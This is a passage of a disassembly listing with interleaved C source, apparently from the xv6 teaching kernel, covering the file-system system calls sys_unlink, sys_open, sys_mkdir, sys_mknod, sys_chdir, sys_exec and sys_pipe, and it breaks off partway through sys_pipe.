80104ecb: ff 75 c0 pushl -0x40(%ebp) 80104ece: e8 2d d0 ff ff call 80101f00 <nameiparent> 80104ed3: 83 c4 10 add $0x10,%esp 80104ed6: 85 c0 test %eax,%eax 80104ed8: 89 c6 mov %eax,%esi 80104eda: 0f 84 60 01 00 00 je 80105040 <sys_unlink+0x1a0> ilock(dp); 80104ee0: 83 ec 0c sub $0xc,%esp 80104ee3: 50 push %eax 80104ee4: e8 97 c7 ff ff call 80101680 <ilock> if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80104ee9: 58 pop %eax 80104eea: 5a pop %edx 80104eeb: 68 9c 77 10 80 push $0x8010779c 80104ef0: 53 push %ebx 80104ef1: e8 9a cc ff ff call 80101b90 <namecmp> 80104ef6: 83 c4 10 add $0x10,%esp 80104ef9: 85 c0 test %eax,%eax 80104efb: 0f 84 03 01 00 00 je 80105004 <sys_unlink+0x164> 80104f01: 83 ec 08 sub $0x8,%esp 80104f04: 68 9b 77 10 80 push $0x8010779b 80104f09: 53 push %ebx 80104f0a: e8 81 cc ff ff call 80101b90 <namecmp> 80104f0f: 83 c4 10 add $0x10,%esp 80104f12: 85 c0 test %eax,%eax 80104f14: 0f 84 ea 00 00 00 je 80105004 <sys_unlink+0x164> if((ip = dirlookup(dp, name, &off)) == 0) 80104f1a: 8d 45 c4 lea -0x3c(%ebp),%eax 80104f1d: 83 ec 04 sub $0x4,%esp 80104f20: 50 push %eax 80104f21: 53 push %ebx 80104f22: 56 push %esi 80104f23: e8 88 cc ff ff call 80101bb0 <dirlookup> 80104f28: 83 c4 10 add $0x10,%esp 80104f2b: 85 c0 test %eax,%eax 80104f2d: 89 c3 mov %eax,%ebx 80104f2f: 0f 84 cf 00 00 00 je 80105004 <sys_unlink+0x164> ilock(ip); 80104f35: 83 ec 0c sub $0xc,%esp 80104f38: 50 push %eax 80104f39: e8 42 c7 ff ff call 80101680 <ilock> if(ip->nlink < 1) 80104f3e: 83 c4 10 add $0x10,%esp 80104f41: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 80104f46: 0f 8e 10 01 00 00 jle 8010505c <sys_unlink+0x1bc> if(ip->type == T_DIR && !isdirempty(ip)){ 80104f4c: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104f51: 74 6d je 80104fc0 <sys_unlink+0x120> memset(&de, 0, sizeof(de)); 80104f53: 8d 45 d8 lea -0x28(%ebp),%eax 80104f56: 83 ec 04 sub $0x4,%esp 80104f59: 6a 10 push $0x10 80104f5b: 6a 00 push $0x0 80104f5d: 50 push %eax 80104f5e: e8 bd f5 ff ff call 80104520 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104f63: 8d 45 d8 lea -0x28(%ebp),%eax 80104f66: 6a 10 push $0x10 80104f68: ff 75 c4 pushl -0x3c(%ebp) 80104f6b: 50 push %eax 80104f6c: 56 push %esi 80104f6d: e8 ee ca ff ff call 80101a60 <writei> 80104f72: 83 c4 20 add $0x20,%esp 80104f75: 83 f8 10 cmp $0x10,%eax 80104f78: 0f 85 eb 00 00 00 jne 80105069 <sys_unlink+0x1c9> if(ip->type == T_DIR){ 80104f7e: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104f83: 0f 84 97 00 00 00 je 80105020 <sys_unlink+0x180> iunlockput(dp); 80104f89: 83 ec 0c sub $0xc,%esp 80104f8c: 56 push %esi 80104f8d: e8 7e c9 ff ff call 80101910 <iunlockput> ip->nlink--; 80104f92: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104f97: 89 1c 24 mov %ebx,(%esp) 80104f9a: e8 31 c6 ff ff call 801015d0 <iupdate> iunlockput(ip); 80104f9f: 89 1c 24 mov %ebx,(%esp) 80104fa2: e8 69 c9 ff ff call 80101910 <iunlockput> end_op(); 80104fa7: e8 64 dc ff ff call 80102c10 <end_op> return 0; 80104fac: 83 c4 10 add $0x10,%esp 80104faf: 31 c0 xor %eax,%eax } 80104fb1: 8d 65 f4 lea -0xc(%ebp),%esp 80104fb4: 5b pop %ebx 80104fb5: 5e pop %esi 80104fb6: 5f pop %edi 80104fb7: 5d pop %ebp 80104fb8: c3 ret 80104fb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80104fc0: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 80104fc4: 76 8d jbe 80104f53 <sys_unlink+0xb3> 80104fc6: bf 20 00 00 00 mov $0x20,%edi 80104fcb: eb 0f jmp 80104fdc <sys_unlink+0x13c> 80104fcd: 8d 76 00 lea 0x0(%esi),%esi 80104fd0: 83 c7 10 add $0x10,%edi 80104fd3: 3b 7b 58 cmp 0x58(%ebx),%edi 80104fd6: 0f 83 77 ff ff ff jae 80104f53 <sys_unlink+0xb3> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104fdc: 8d 45 d8 lea -0x28(%ebp),%eax 80104fdf: 6a 10 push $0x10 80104fe1: 57 push %edi 80104fe2: 50 push %eax 80104fe3: 53 push %ebx 80104fe4: e8 77 c9 ff ff call 80101960 <readi> 80104fe9: 83 c4 10 add $0x10,%esp 80104fec: 83 f8 10 cmp $0x10,%eax 80104fef: 75 5e jne 8010504f <sys_unlink+0x1af> if(de.inum != 0) 80104ff1: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80104ff6: 74 d8 je 80104fd0 <sys_unlink+0x130> iunlockput(ip); 80104ff8: 83 ec 0c sub $0xc,%esp 80104ffb: 53 push %ebx 80104ffc: e8 0f c9 ff ff call 80101910 <iunlockput> goto bad; 80105001: 83 c4 10 add $0x10,%esp iunlockput(dp); 80105004: 83 ec 0c sub $0xc,%esp 80105007: 56 push %esi 80105008: e8 03 c9 ff ff call 80101910 <iunlockput> end_op(); 8010500d: e8 fe db ff ff call 80102c10 <end_op> return -1; 80105012: 83 c4 10 add $0x10,%esp 80105015: b8 ff ff ff ff mov $0xffffffff,%eax 8010501a: eb 95 jmp 80104fb1 <sys_unlink+0x111> 8010501c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi dp->nlink--; 80105020: 66 83 6e 56 01 subw $0x1,0x56(%esi) iupdate(dp); 80105025: 83 ec 0c sub $0xc,%esp 80105028: 56 push %esi 80105029: e8 a2 c5 ff ff call 801015d0 <iupdate> 8010502e: 83 c4 10 add $0x10,%esp 80105031: e9 53 ff ff ff jmp 80104f89 <sys_unlink+0xe9> return -1; 80105036: b8 ff ff ff ff mov $0xffffffff,%eax 8010503b: e9 71 ff ff ff jmp 80104fb1 <sys_unlink+0x111> end_op(); 80105040: e8 cb db ff ff call 80102c10 <end_op> return -1; 80105045: b8 ff ff ff ff mov $0xffffffff,%eax 8010504a: e9 62 ff ff ff jmp 80104fb1 <sys_unlink+0x111> panic("isdirempty: readi"); 8010504f: 83 ec 0c sub $0xc,%esp 80105052: 68 c0 77 10 80 push $0x801077c0 80105057: e8 34 b3 ff ff call 80100390 <panic> panic("unlink: nlink < 1"); 8010505c: 83 ec 0c sub $0xc,%esp 8010505f: 68 ae 77 10 80 push $0x801077ae 80105064: e8 27 b3 ff ff call 80100390 <panic> panic("unlink: writei"); 80105069: 83 ec 0c sub $0xc,%esp 8010506c: 68 d2 77 10 80 push $0x801077d2 80105071: e8 1a b3 ff ff call 80100390 <panic> 80105076: 8d 76 00 lea 0x0(%esi),%esi 80105079: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105080 <sys_open>: int sys_open(void) { 80105080: 55 push %ebp 80105081: 89 e5 mov %esp,%ebp 80105083: 57 push %edi 80105084: 56 push %esi 80105085: 53 push %ebx char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 80105086: 8d 45 e0 lea -0x20(%ebp),%eax { 80105089: 83 ec 24 sub $0x24,%esp if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 8010508c: 50 push %eax 8010508d: 6a 00 push $0x0 8010508f: e8 3c f8 ff ff call 801048d0 <argstr> 80105094: 83 c4 10 add $0x10,%esp 80105097: 85 c0 test %eax,%eax 80105099: 0f 88 1d 01 00 00 js 801051bc <sys_open+0x13c> 8010509f: 8d 45 e4 lea -0x1c(%ebp),%eax 801050a2: 83 ec 08 sub $0x8,%esp 801050a5: 50 push %eax 801050a6: 6a 01 push $0x1 801050a8: e8 73 f7 ff ff call 80104820 <argint> 801050ad: 83 c4 10 add $0x10,%esp 801050b0: 85 c0 test %eax,%eax 801050b2: 0f 88 04 01 00 00 js 801051bc <sys_open+0x13c> return -1; begin_op(); 801050b8: e8 e3 da ff ff call 80102ba0 <begin_op> if(omode & O_CREATE){ 801050bd: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 801050c1: 0f 85 a9 00 00 00 jne 80105170 <sys_open+0xf0> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 801050c7: 83 ec 0c sub $0xc,%esp 801050ca: ff 75 e0 pushl -0x20(%ebp) 801050cd: e8 0e ce ff ff call 80101ee0 <namei> 801050d2: 83 c4 10 add $0x10,%esp 801050d5: 85 c0 test %eax,%eax 801050d7: 89 c6 mov %eax,%esi 801050d9: 0f 84 b2 00 00 00 je 80105191 <sys_open+0x111> end_op(); return -1; } ilock(ip); 801050df: 83 ec 0c sub $0xc,%esp 801050e2: 50 push %eax 801050e3: e8 98 c5 ff ff call 80101680 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 801050e8: 83 c4 10 add $0x10,%esp 801050eb: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 801050f0: 0f 84 aa 00 00 00 je 801051a0 <sys_open+0x120> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 801050f6: e8 85 bc ff ff call 80100d80 <filealloc> 801050fb: 85 c0 test %eax,%eax 801050fd: 89 c7 mov %eax,%edi 801050ff: 0f 84 a6 00 00 00 je 801051ab <sys_open+0x12b> struct proc *curproc = myproc(); 80105105: e8 d6 e6 ff ff call 801037e0 <myproc> for(fd = 0; fd < NOFILE; fd++){ 8010510a: 31 db xor %ebx,%ebx 8010510c: eb 0e jmp 8010511c <sys_open+0x9c> 8010510e: 66 90 xchg %ax,%ax 80105110: 83 c3 01 add $0x1,%ebx 80105113: 83 fb 10 cmp $0x10,%ebx 80105116: 0f 84 ac 00 00 00 je 801051c8 <sys_open+0x148> if(curproc->ofile[fd] == 0){ 8010511c: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 80105120: 85 d2 test %edx,%edx 80105122: 75 ec jne 80105110 <sys_open+0x90> fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105124: 83 ec 0c sub $0xc,%esp curproc->ofile[fd] = f; 80105127: 89 7c 98 28 mov %edi,0x28(%eax,%ebx,4) iunlock(ip); 8010512b: 56 push %esi 8010512c: e8 2f c6 ff ff call 80101760 <iunlock> end_op(); 80105131: e8 da da ff ff call 80102c10 <end_op> f->type = FD_INODE; 80105136: c7 07 02 00 00 00 movl $0x2,(%edi) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 8010513c: 8b 55 e4 mov -0x1c(%ebp),%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 8010513f: 83 c4 10 add $0x10,%esp f->ip = ip; 80105142: 89 77 10 mov %esi,0x10(%edi) f->off = 0; 80105145: c7 47 14 00 00 00 00 movl $0x0,0x14(%edi) f->readable = !(omode & O_WRONLY); 8010514c: 89 d0 mov %edx,%eax 8010514e: f7 d0 not %eax 80105150: 83 e0 01 and $0x1,%eax f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80105153: 83 e2 03 and $0x3,%edx f->readable = !(omode & O_WRONLY); 80105156: 88 47 08 mov %al,0x8(%edi) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80105159: 0f 95 47 09 setne 0x9(%edi) return fd; } 8010515d: 8d 65 f4 lea -0xc(%ebp),%esp 80105160: 89 d8 mov %ebx,%eax 80105162: 5b pop %ebx 80105163: 5e pop %esi 80105164: 5f pop %edi 80105165: 5d pop %ebp 80105166: c3 ret 80105167: 89 f6 mov %esi,%esi 80105169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ip = create(path, T_FILE, 0, 0); 80105170: 83 ec 0c sub $0xc,%esp 80105173: 8b 45 e0 mov -0x20(%ebp),%eax 80105176: 31 c9 xor %ecx,%ecx 80105178: 6a 00 push $0x0 8010517a: ba 02 00 00 00 mov $0x2,%edx 8010517f: e8 ec f7 ff ff call 80104970 <create> if(ip == 0){ 80105184: 83 c4 10 add $0x10,%esp 80105187: 85 c0 test %eax,%eax ip = create(path, T_FILE, 0, 0); 80105189: 89 c6 mov %eax,%esi if(ip == 0){ 8010518b: 0f 85 65 ff ff ff jne 801050f6 <sys_open+0x76> end_op(); 80105191: e8 7a da ff ff call 80102c10 <end_op> return -1; 80105196: bb ff ff ff ff mov $0xffffffff,%ebx 8010519b: eb c0 jmp 8010515d <sys_open+0xdd> 8010519d: 8d 76 00 lea 0x0(%esi),%esi if(ip->type == T_DIR && omode != O_RDONLY){ 801051a0: 8b 4d e4 mov -0x1c(%ebp),%ecx 801051a3: 85 c9 test %ecx,%ecx 801051a5: 0f 84 4b ff ff ff je 801050f6 <sys_open+0x76> iunlockput(ip); 801051ab: 83 ec 0c sub $0xc,%esp 801051ae: 56 push %esi 801051af: e8 5c c7 ff ff call 80101910 <iunlockput> end_op(); 801051b4: e8 57 da ff ff call 80102c10 <end_op> return -1; 801051b9: 83 c4 10 add $0x10,%esp 801051bc: bb ff ff ff ff mov $0xffffffff,%ebx 801051c1: eb 9a jmp 8010515d <sys_open+0xdd> 801051c3: 90 nop 801051c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi fileclose(f); 801051c8: 83 ec 0c sub $0xc,%esp 801051cb: 57 push %edi 801051cc: e8 6f bc ff ff call 80100e40 <fileclose> 801051d1: 83 c4 10 add $0x10,%esp 801051d4: eb d5 jmp 801051ab <sys_open+0x12b> 801051d6: 8d 76 00 lea 0x0(%esi),%esi 801051d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801051e0 <sys_mkdir>: int sys_mkdir(void) { 801051e0: 55 push %ebp 801051e1: 89 e5 mov %esp,%ebp 801051e3: 83 ec 18 sub $0x18,%esp char *path; struct inode *ip; begin_op(); 801051e6: e8 b5 d9 ff ff call 80102ba0 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 801051eb: 8d 45 f4 lea -0xc(%ebp),%eax 801051ee: 83 ec 08 sub $0x8,%esp 801051f1: 50 push %eax 801051f2: 6a 00 push $0x0 801051f4: e8 d7 f6 ff ff call 801048d0 <argstr> 801051f9: 83 c4 10 add $0x10,%esp 801051fc: 85 c0 test %eax,%eax 801051fe: 78 30 js 80105230 <sys_mkdir+0x50> 80105200: 83 ec 0c sub $0xc,%esp 80105203: 8b 45 f4 mov -0xc(%ebp),%eax 80105206: 31 c9 xor %ecx,%ecx 80105208: 6a 00 push $0x0 8010520a: ba 01 00 00 00 mov $0x1,%edx 8010520f: e8 5c f7 ff ff call 80104970 <create> 80105214: 83 c4 10 add $0x10,%esp 80105217: 85 c0 test %eax,%eax 80105219: 74 15 je 80105230 <sys_mkdir+0x50> end_op(); return -1; } iunlockput(ip); 8010521b: 83 ec 0c sub $0xc,%esp 8010521e: 50 push %eax 8010521f: e8 ec c6 ff ff call 80101910 <iunlockput> end_op(); 80105224: e8 e7 d9 ff ff call 80102c10 <end_op> return 0; 80105229: 83 c4 10 add $0x10,%esp 8010522c: 31 c0 xor %eax,%eax } 8010522e: c9 leave 8010522f: c3 ret end_op(); 80105230: e8 db d9 ff ff call 80102c10 <end_op> return -1; 80105235: b8 ff ff ff ff mov $0xffffffff,%eax } 8010523a: c9 leave 8010523b: c3 ret 8010523c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105240 <sys_mknod>: int sys_mknod(void) { 80105240: 55 push %ebp 80105241: 89 e5 mov %esp,%ebp 80105243: 83 ec 18 sub $0x18,%esp struct inode *ip; char *path; int major, minor; begin_op(); 80105246: e8 55 d9 ff ff call 80102ba0 <begin_op> if((argstr(0, &path)) < 0 || 8010524b: 8d 45 ec lea -0x14(%ebp),%eax 8010524e: 83 ec 08 sub $0x8,%esp 80105251: 50 push %eax 80105252: 6a 00 push $0x0 80105254: e8 77 f6 ff ff call 801048d0 <argstr> 80105259: 83 c4 10 add $0x10,%esp 8010525c: 85 c0 test %eax,%eax 8010525e: 78 60 js 801052c0 <sys_mknod+0x80> argint(1, &major) < 0 || 80105260: 8d 45 f0 lea -0x10(%ebp),%eax 80105263: 83 ec 08 sub $0x8,%esp 80105266: 50 push %eax 80105267: 6a 01 push $0x1 80105269: e8 b2 f5 ff ff call 80104820 <argint> if((argstr(0, &path)) < 0 || 8010526e: 83 c4 10 add $0x10,%esp 80105271: 85 c0 test %eax,%eax 80105273: 78 4b js 801052c0 <sys_mknod+0x80> argint(2, &minor) < 0 || 80105275: 8d 45 f4 lea -0xc(%ebp),%eax 80105278: 83 ec 08 sub $0x8,%esp 8010527b: 50 push %eax 8010527c: 6a 02 push $0x2 8010527e: e8 9d f5 ff ff call 80104820 <argint> argint(1, &major) < 0 || 80105283: 83 c4 10 add $0x10,%esp 80105286: 85 c0 test %eax,%eax 80105288: 78 36 js 801052c0 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ 8010528a: 0f bf 45 f4 movswl -0xc(%ebp),%eax argint(2, &minor) < 0 || 8010528e: 83 ec 0c sub $0xc,%esp (ip = create(path, T_DEV, major, minor)) == 0){ 80105291: 0f bf 4d f0 movswl -0x10(%ebp),%ecx argint(2, &minor) < 0 || 80105295: ba 03 00 00 00 mov $0x3,%edx 8010529a: 50 push %eax 8010529b: 8b 45 ec mov -0x14(%ebp),%eax 8010529e: e8 cd f6 ff ff call 80104970 <create> 801052a3: 83 c4 10 add $0x10,%esp 801052a6: 85 c0 test %eax,%eax 801052a8: 74 16 je 801052c0 <sys_mknod+0x80> end_op(); return -1; } iunlockput(ip); 801052aa: 83 ec 0c sub $0xc,%esp 801052ad: 50 push %eax 801052ae: e8 5d c6 ff ff call 80101910 <iunlockput> end_op(); 801052b3: e8 58 d9 ff ff call 80102c10 <end_op> return 0; 801052b8: 83 c4 10 add $0x10,%esp 801052bb: 31 c0 xor %eax,%eax } 801052bd: c9 leave 801052be: c3 ret 801052bf: 90 nop end_op(); 801052c0: e8 4b d9 ff ff call 80102c10 <end_op> return -1; 801052c5: b8 ff ff ff ff mov $0xffffffff,%eax } 801052ca: c9 leave 801052cb: c3 ret 801052cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801052d0 <sys_chdir>: int sys_chdir(void) { 801052d0: 55 push %ebp 801052d1: 89 e5 mov %esp,%ebp 801052d3: 56 push %esi 801052d4: 53 push %ebx 801052d5: 83 ec 10 sub $0x10,%esp char *path; struct inode *ip; struct proc *curproc = myproc(); 801052d8: e8 03 e5 ff ff call 801037e0 <myproc> 801052dd: 89 c6 mov %eax,%esi begin_op(); 801052df: e8 bc d8 ff ff call 80102ba0 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 801052e4: 8d 45 f4 lea -0xc(%ebp),%eax 801052e7: 83 ec 08 sub $0x8,%esp 801052ea: 50 push %eax 801052eb: 6a 00 push $0x0 801052ed: e8 de f5 ff ff call 801048d0 <argstr> 801052f2: 83 c4 10 add $0x10,%esp 801052f5: 85 c0 test %eax,%eax 801052f7: 78 77 js 80105370 <sys_chdir+0xa0> 801052f9: 83 ec 0c sub $0xc,%esp 801052fc: ff 75 f4 pushl -0xc(%ebp) 801052ff: e8 dc cb ff ff call 80101ee0 <namei> 80105304: 83 c4 10 add $0x10,%esp 80105307: 85 c0 test %eax,%eax 80105309: 89 c3 mov %eax,%ebx 8010530b: 74 63 je 80105370 <sys_chdir+0xa0> end_op(); return -1; } ilock(ip); 8010530d: 83 ec 0c sub $0xc,%esp 80105310: 50 push %eax 80105311: e8 6a c3 ff ff call 80101680 <ilock> if(ip->type != T_DIR){ 80105316: 83 c4 10 add $0x10,%esp 80105319: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 8010531e: 75 30 jne 80105350 <sys_chdir+0x80> iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105320: 83 ec 0c sub $0xc,%esp 80105323: 53 push %ebx 80105324: e8 37 c4 ff ff call 80101760 <iunlock> iput(curproc->cwd); 80105329: 58 pop %eax 8010532a: ff 76 68 pushl 0x68(%esi) 8010532d: e8 7e c4 ff ff call 801017b0 <iput> end_op(); 80105332: e8 d9 d8 ff ff call 80102c10 <end_op> curproc->cwd = ip; 80105337: 89 5e 68 mov %ebx,0x68(%esi) return 0; 8010533a: 83 c4 10 add $0x10,%esp 8010533d: 31 c0 xor %eax,%eax } 8010533f: 8d 65 f8 lea -0x8(%ebp),%esp 80105342: 5b pop %ebx 80105343: 5e pop %esi 80105344: 5d pop %ebp 80105345: c3 ret 80105346: 8d 76 00 lea 0x0(%esi),%esi 80105349: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi iunlockput(ip); 80105350: 83 ec 0c sub $0xc,%esp 80105353: 53 push %ebx 80105354: e8 b7 c5 ff ff call 80101910 <iunlockput> end_op(); 80105359: e8 b2 d8 ff ff call 80102c10 <end_op> return -1; 8010535e: 83 c4 10 add $0x10,%esp 80105361: b8 ff ff ff ff mov $0xffffffff,%eax 80105366: eb d7 jmp 8010533f <sys_chdir+0x6f> 80105368: 90 nop 80105369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80105370: e8 9b d8 ff ff call 80102c10 <end_op> return -1; 80105375: b8 ff ff ff ff mov $0xffffffff,%eax 8010537a: eb c3 jmp 8010533f <sys_chdir+0x6f> 8010537c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105380 <sys_exec>: int sys_exec(void) { 80105380: 55 push %ebp 80105381: 89 e5 mov %esp,%ebp 80105383: 57 push %edi 80105384: 56 push %esi 80105385: 53 push %ebx char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80105386: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax { 8010538c: 81 ec a4 00 00 00 sub $0xa4,%esp if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80105392: 50 push %eax 80105393: 6a 00 push $0x0 80105395: e8 36 f5 ff ff call 801048d0 <argstr> 8010539a: 83 c4 10 add $0x10,%esp 8010539d: 85 c0 test %eax,%eax 8010539f: 0f 88 87 00 00 00 js 8010542c <sys_exec+0xac> 801053a5: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 801053ab: 83 ec 08 sub $0x8,%esp 801053ae: 50 push %eax 801053af: 6a 01 push $0x1 801053b1: e8 6a f4 ff ff call 80104820 <argint> 801053b6: 83 c4 10 add $0x10,%esp 801053b9: 85 c0 test %eax,%eax 801053bb: 78 6f js 8010542c <sys_exec+0xac> return -1; } memset(argv, 0, sizeof(argv)); 801053bd: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 801053c3: 83 ec 04 sub $0x4,%esp for(i=0;; i++){ 801053c6: 31 db xor %ebx,%ebx memset(argv, 0, sizeof(argv)); 801053c8: 68 80 00 00 00 push $0x80 801053cd: 6a 00 push $0x0 801053cf: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 801053d5: 50 push %eax 801053d6: e8 45 f1 ff ff call 80104520 <memset> 801053db: 83 c4 10 add $0x10,%esp 801053de: eb 2c jmp 8010540c <sys_exec+0x8c> if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) return -1; if(uarg == 0){ 801053e0: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 801053e6: 85 c0 test %eax,%eax 801053e8: 74 56 je 80105440 <sys_exec+0xc0> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 801053ea: 8d 8d 68 ff ff ff lea -0x98(%ebp),%ecx 801053f0: 83 ec 08 sub $0x8,%esp 801053f3: 8d 14 31 lea (%ecx,%esi,1),%edx 801053f6: 52 push %edx 801053f7: 50 push %eax 801053f8: e8 b3 f3 ff ff call 801047b0 <fetchstr> 801053fd: 83 c4 10 add $0x10,%esp 80105400: 85 c0 test %eax,%eax 80105402: 78 28 js 8010542c <sys_exec+0xac> for(i=0;; i++){ 80105404: 83 c3 01 add $0x1,%ebx if(i >= NELEM(argv)) 80105407: 83 fb 20 cmp $0x20,%ebx 8010540a: 74 20 je 8010542c <sys_exec+0xac> if(fetchint(uargv+4*i, (int*)&uarg) < 0) 8010540c: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 80105412: 8d 34 9d 00 00 00 00 lea 0x0(,%ebx,4),%esi 80105419: 83 ec 08 sub $0x8,%esp 8010541c: 57 push %edi 8010541d: 01 f0 add %esi,%eax 8010541f: 50 push %eax 80105420: e8 4b f3 ff ff call 80104770 <fetchint> 80105425: 83 c4 10 add $0x10,%esp 80105428: 85 c0 test %eax,%eax 8010542a: 79 b4 jns 801053e0 <sys_exec+0x60> return -1; } return exec(path, argv); } 8010542c: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 8010542f: b8 ff ff ff ff mov $0xffffffff,%eax } 80105434: 5b pop %ebx 80105435: 5e pop %esi 80105436: 5f pop %edi 80105437: 5d pop %ebp 80105438: c3 ret 80105439: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return exec(path, argv); 80105440: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 80105446: 83 ec 08 sub $0x8,%esp argv[i] = 0; 80105449: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 80105450: 00 00 00 00 return exec(path, argv); 80105454: 50 push %eax 80105455: ff b5 5c ff ff ff pushl -0xa4(%ebp) 8010545b: e8 b0 b5 ff ff call 80100a10 <exec> 80105460: 83 c4 10 add $0x10,%esp } 80105463: 8d 65 f4 lea -0xc(%ebp),%esp 80105466: 5b pop %ebx 80105467: 5e pop %esi 80105468: 5f pop %edi 80105469: 5d pop %ebp 8010546a: c3 ret 8010546b: 90 nop 8010546c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105470 <sys_pipe>: int sys_pipe(void) { 80105470: 55 push %ebp 80105471: 89 e5 mov %esp,%ebp 80105473: 57 push %edi 80105474: 56 push %esi 80105475: 53 push %ebx int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 80105476: 8d 45 dc lea -0x24(%ebp),%eax { 80105479: 83 ec 20 sub $0x20,%esp if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 8010547c: 6a 08 push $0x8 8010547e: 50 push %eax 8010547f: 6a 00 push $0x0 80105481: e8 ea f3 ff ff call 80104870 <argptr> 80105486: 83 c4 10 add $0x10,%esp 80105489: 85 c0 test %eax,%eax 8010548b: 0f 88 ae 00 00 00 js 8010553f <sys_pipe+0xcf> return -1; if(pipealloc(&rf, &wf) < 0) 80105491: 8d 45 e4 lea -0x1c(%ebp),%eax 80105494: 83 ec 08 sub $0x8,%esp 80105497: 50 push %eax 80105498: 8d 45 e0 lea -0x20(%ebp),%eax 8010549b: 50 push %eax 8010549c: e8 9f dd ff ff call 80103240 <pipealloc> 801054a1: 83 c4 10 add $0x10,%esp 801054a4: 85 c0 test %eax,%eax 801054a6: 0f 88 93 00 00 00 js 8010553f <sys_pipe+0xcf> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 801054ac: 8b 7d e0 mov -0x20(%ebp),%edi for(fd = 0; fd < NOFILE; fd++){ 801054af: 31 db xor %ebx,%ebx struct proc *curproc = myproc(); 801054b1: e8 2a e3 ff ff call 801037e0 <myproc> 801054b6: eb 10 jmp 801054c8 <sys_pipe+0x58> 801054b8: 90 nop 801054b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(fd = 0; fd < NOFILE; fd++){ 801054c0: 83 c3 01 add $0x1,%ebx 801054c3: 83 fb 10 cmp $0x10,%ebx 801054c6: 74 60 je 80105528 <sys_pipe+0xb8> if(curproc->ofile[fd] == 0){ 801054c8: 8b 74 98 28 mov 0x28(%eax,%ebx,4),%esi 801054cc: 85 f6 test %esi,%esi 801054ce: 75 f0 jne 801054c0 <sys_pipe+0x50> curproc->ofile[fd] = f; 801054d0: 8d 73 08 lea 0x8(%ebx),%esi 801054d3: 89 7c b0 08 mov %edi,0x8(%eax,%esi,4) if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 801054d7: 8b 7d e4 mov -0x1c(%ebp),%edi struct proc *curproc = myproc(); 801054da: e8 01 e3 ff ff call 801037e0 <myproc> for(fd = 0; fd < NOFILE; fd++){ 801054df: 31 d2 xor %edx,%edx 801054e1: eb 0d jmp 801054f0 <sys_pipe+0x80> 801054e3: 90 nop 801054e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801054e8: 83 c2 01 add $0x1,%edx 801054eb: 83 fa 10 cmp $0x10,%edx 801054ee: 74 28 je 80105518 <sys_pipe+0xa8> if(curproc->ofile[fd] == 0){ 801054f0: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 801054f4: 85 c9 test %ecx,%ecx 801054f6: 75 f0 jne 801054e8 <sys_pipe+0x78> curproc->ofile[fd] = f; 801054f8: 89 7c 